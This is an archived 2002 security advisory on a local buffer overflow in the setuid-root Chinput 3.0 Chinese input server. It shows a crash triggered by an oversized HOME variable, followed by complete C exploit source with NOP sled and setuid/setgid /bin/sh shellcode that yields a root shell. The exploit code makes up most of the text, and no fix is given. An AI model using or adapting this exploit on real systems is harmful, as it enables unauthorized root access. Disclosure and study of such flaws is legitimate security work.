17th Jan 2002 [SBWID-5005]
COMMAND
Chinput local buffer overflow leads gives root
SYSTEMS AFFECTED
??
PROBLEM
Xperc posted :
Chinput is a Chinese input server on UNIX/Linux. It supports XIM(X
Input Method) Protocl and its own protocl for Chinese platform.
$ls -l /usr/bin/chinput
-rwsr-xr-x 1 root root 317272 Jan 15 21:31
/usr/bin/chinput
$export HOME=`perl -e \'print \"a\"x800\'`
$/usr/bin/chinput
Segmentation fault
/* local exploit for Chinput 3.0
* .. tested in TurboLinux 6.5 with kernel 2.2.18
*
* Usage: $gcc chinput_exp.c
* $./a.out
* bash-2.04$ /usr/bin/chinput
*
* by xperc@hotmail.com
* 2002/1/16
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90
#define OFS 0x1f0
unsigned long get_esp()
{
__asm__(\"mov %esp,%eax\");
}
char *shellcode=
\"\\x31\\xc0\\x31\\xdb\\xb0\\x17\\xcd\\x80\" /*
setuid=0 */
\"\\x31\\xc0\\x31\\xdb\\xb0\\x2e\\xcd\\x80\" /*
setgid=0 */
\"\\xeb\\x24\\x5e\\x8d\\x1e\\x89\\x5e\\x0b\"
\"\\x33\\xd2\\x89\\x56\\x07\\x89\\x56\\x0f\"
\"\\xb8\\x1b\\x56\\x34\\x12\\x35\\x10\\x56\"
\"\\x34\\x12\\x8d\\x4e\\x0b\\x8b\\xd1\\xcd\"
\"\\x80\\x33\\xc0\\x40\\xcd\\x80\\xe8\\xd7\"
\"\\xff\\xff\\xff/bin/sh\";
char s[512];
char *s1;
int main()
{
strcpy(s,\"HOME=\");
s1=s+5;
while(s1<s+260+5-strlen(shellcode))
*(s1++)=NOP;
while(*shellcode)
*(s1++)=*(shellcode++);
*((unsigned long *)s1)=get_esp()-OFS;
printf(\"Jump to: %p\\n\",*((long *)s1));
s1+=4;
*s1=0;
putenv(s);
system(\"bash\");
}
SOLUTION
??
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH